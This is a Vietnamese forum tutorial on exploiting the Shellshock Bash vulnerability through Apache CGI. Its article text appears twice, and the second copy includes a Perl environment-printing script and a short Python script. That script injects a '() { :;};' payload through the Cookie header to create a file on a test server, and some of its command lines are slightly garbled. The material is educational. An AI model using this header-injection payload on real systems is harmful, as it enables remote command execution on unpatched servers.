python
VIP Members
-
20/06/2013
-
12
-
61 bài viết
Phân tích cách khai thác lỗ hổng Shellshock
Vài ngày gần đây một lỗ hổng trong lõi của Linux có tên gọi “Shellshock” đã thu hút sự chú ý của rất nhiều người. Được đánh giá là một lỗ hổng cực kỳ nghiêm trọng với tầm ảnh hưởng rất rộng đối với nhiều hệ thống sử dụng Linux. Trong bài viết này tôi sẽ đề cập tới cách thức khai thác lỗ hổng này qua mod_cgi của Apache.
CGI( Common Gateway Interface) được hiểu như một cổng giao tiếp chung giữa webserver và chương trình thực thi script CGI. Về bản chất khi có request từ phia client tới một script CGI như:
http://example.com/cgi-bin/printenv.pl(1)
Webserver sẽ thông qua CGI gọi chương trình thực thi tương ứng và trả lại kết quả về phia client.
Đối với webserver Apache khi có một request HTTP tới một script CGI, Bash sẽ tạo ra những biến môi trường tương
ứng với từng thành phần của HTTP request. Bạn có thể kiêm chứng điều này với một script đơn giản như sau:
Và đây là kết quả khi thực thi script CGI trên :
Vấn đề chú ý ở đây chính là ở cơ chế tạo biến môi trường của Bash. Nó hỗ trợ việc tạo biến môi trường theo cách export trực tiếp giá trị như :
Và đây cũng chính là lỗ hổng tại những phiên bản Bash < 4.3 mắc phải. Trên thực tế khi chúng ta export giá trị cho biến môi trường bằng hàm theo cách như sau:
Khi Bash gán giá trị của biến VAR bằng hàm vừa khai báo: () { ignored; }; thì nó lại tiếp tục thực thi đoạn string đằng sau ở đây là một câu lệnh trong Bash để thực hiện câu lệnh ping.
Cách thức khai thác lỗ hổng Bash thông qua CGI trong quá trình nó thực hiện thiết lập các biến môi trường có trong HTTP request, qua đó ta có thể inject những đoạn shell độc hại vào trong các trường như :
Ta có thể tiến hành kiểm tra việc khai Bash thông qua CGI của Apache một cách đơn giản như sau(thực hiện trên hệ thống thử nghiệm):
Đoạn mã trên cho phép tạo file shellshock.test trong thư mục /tmp.
Thông tin thêm:
1.https://securityblog.redhat.com/201...-environment-variables-code-injection-attack/
2.https://www.pentestpartners.com/blog/shell-shock-what-it-is-and-what-you-can-do/
3.http://seclists.org/oss-sec/2014/q3/650
CGI( Common Gateway Interface) được hiểu như một cổng giao tiếp chung giữa webserver và chương trình thực thi script CGI. Về bản chất khi có request từ phia client tới một script CGI như:
http://example.com/cgi-bin/printenv.pl(1)
Webserver sẽ thông qua CGI gọi chương trình thực thi tương ứng và trả lại kết quả về phia client.
Đối với webserver Apache khi có một request HTTP tới một script CGI, Bash sẽ tạo ra những biến môi trường tương
ứng với từng thành phần của HTTP request. Bạn có thể kiêm chứng điều này với một script đơn giản như sau:
#!/usr/bin/perl
=head1 DESCRIPTION
printenv — a CGI program that just prints its environment
=cut
print "Content-type: text/plain\r\n\r\n";
for my $var ( sort keys %ENV ) {
printf "%s = \"%s\"\r\n", $var, $ENV{$var};
}
Và đây là kết quả khi thực thi script CGI trên :
COMSPEC="C:\Windows\system32\cmd.exe"
DOCUMENT_ROOT="C:/Program Files (x86)/Apache Software Foundation/Apache2.2/htdocs"
GATEWAY_INTERFACE="CGI/1.1"
HOME="/home/SYSTEM"
HTTP_ACCEPT="text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
HTTP_ACCEPT_CHARSET="ISO-8859-1,utf-8;q=0.7,*;q=0.7"
HTTP_ACCEPT_ENCODING="gzip, deflate"
HTTP_ACCEPT_LANGUAGE="en-us,en;q=0.5"
HTTP_CONNECTION="keep-alive"
HTTP_HOST="example.com"
HTTP_USER_AGENT="Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0"
Vấn đề chú ý ở đây chính là ở cơ chế tạo biến môi trường của Bash. Nó hỗ trợ việc tạo biến môi trường theo cách export trực tiếp giá trị như :
Ngoài ra nó còn hỗ trợ việc tạo biến môi trường thông qua việc export hàm trong shell script như:export VAR=/etc/bin
export VAR=’(){ ignored; };’
Và đây cũng chính là lỗ hổng tại những phiên bản Bash < 4.3 mắc phải. Trên thực tế khi chúng ta export giá trị cho biến môi trường bằng hàm theo cách như sau:
export VAR=’() { ignored; };’ /bin/touch –c ’ping –c 8.8.8.8’
Khi Bash gán giá trị của biến VAR bằng hàm vừa khai báo: () { ignored; }; thì nó lại tiếp tục thực thi đoạn string đằng sau ở đây là một câu lệnh trong Bash để thực hiện câu lệnh ping.
Cách thức khai thác lỗ hổng Bash thông qua CGI trong quá trình nó thực hiện thiết lập các biến môi trường có trong HTTP request, qua đó ta có thể inject những đoạn shell độc hại vào trong các trường như :
HTTP_USER_AGENT
COOKIE
REMOTE_HOTS
……
Ta có thể tiến hành kiểm tra việc khai Bash thông qua CGI của Apache một cách đơn giản như sau(thực hiện trên hệ thống thử nghiệm):
import requests
url = "http://10.2.70.11/cgi-bin/test"
exploit = "() { :;}; /bin/touch '/tmp/ shellshock.test"
header = {
"Cookie":exploit
}
r = requests.get(url,headers = header)
print r.headers
Đoạn mã trên cho phép tạo file shellshock.test trong thư mục /tmp.
Thông tin thêm:
1.https://securityblog.redhat.com/201...-environment-variables-code-injection-attack/
2.https://www.pentestpartners.com/blog/shell-shock-what-it-is-and-what-you-can-do/
3.http://seclists.org/oss-sec/2014/q3/650
Chỉnh sửa lần cuối bởi người điều hành: